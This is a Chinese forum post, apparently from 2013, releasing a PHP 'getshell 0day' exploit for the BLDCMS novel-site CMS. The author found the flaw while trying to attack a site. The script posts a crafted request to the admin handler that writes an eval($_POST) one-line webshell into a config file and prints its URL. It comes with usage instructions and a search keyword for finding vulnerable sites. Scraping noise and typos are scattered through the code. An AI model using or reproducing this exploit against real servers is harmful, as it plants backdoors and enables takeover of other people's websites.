BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
' X. h6 T. {3 y; s( N& F

话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

既然都有人发了 我就把我之前写好的EXP放出来吧

: H2 p' i5 g! q* P: \' @% mview source print?01.php;">
( k3 {6 c4 N$ X- Q" p  ?; {: F. @02.<!--?php
6 A9 ^7 k8 G( n03.echo "-------------------------------------------------------------------
# \  t/ i( O6 t1 D+ e& A* ?04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
2 B7 o0 l; P) _* @) O5 C08.
2 m! d2 M, Y- s; \09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
8 `# c8 i8 x) R, x13.
+ N7 ~  ^* u! _/ T( l* G14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
18.$dir=$argv[2];
0 x: S7 k+ x' V5 c% W19.$pass=$argv[3];
7 c: \! ^* L' T+ Y! n4 R! b/ B20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
2 _% |9 _" c) B) m21.if (emptyempty($pass)||emptyempty($url))
22.{exit("请输入参数");}
23.else
24.{
( K; P' F7 K' j# V25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
$ Q6 t: r$ a7 d27.al;
28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
5 m7 h4 P  z7 b3 k35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
6 d% }0 i& J# P/ O38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
; H7 t7 S5 Y) v( s41.if (!$fp)
9 b- j3 M8 s/ O  c7 B42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
  t2 v1 p8 t0 V4 _3 Q/ C44.}
$ v4 `% v, r/ m! [8 _3 n45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
47.else
( m1 |" Q8 @' W7 u- \9 w7 h' b# [48.{
49.$receive = '';
5 K: K7 C4 _( ~: p# P50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
  l6 M0 J6 a( ~7 J8 B52.}
53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
" e5 }! T$ t! X0 H* `( S, r55.
1 U. s5 z: ?7 V! a: P& O0 H+ J56.GPC是否=off)";
57.}}
8 W0 F( o+ ?. Z" Y+ X4 D; O0 b58.}
- l. c: ^6 r2 A9 B59.}
4 i5 I  J& t; O9 Z' ~, v' M60.getshell($url,$pass);
61.?-->
/ s- ]  |  Y# i- z0 V
5 i: X/ {! m) \
' X& }* F4 v# k
by 数据流
0 d5 t8 S; s; K7 F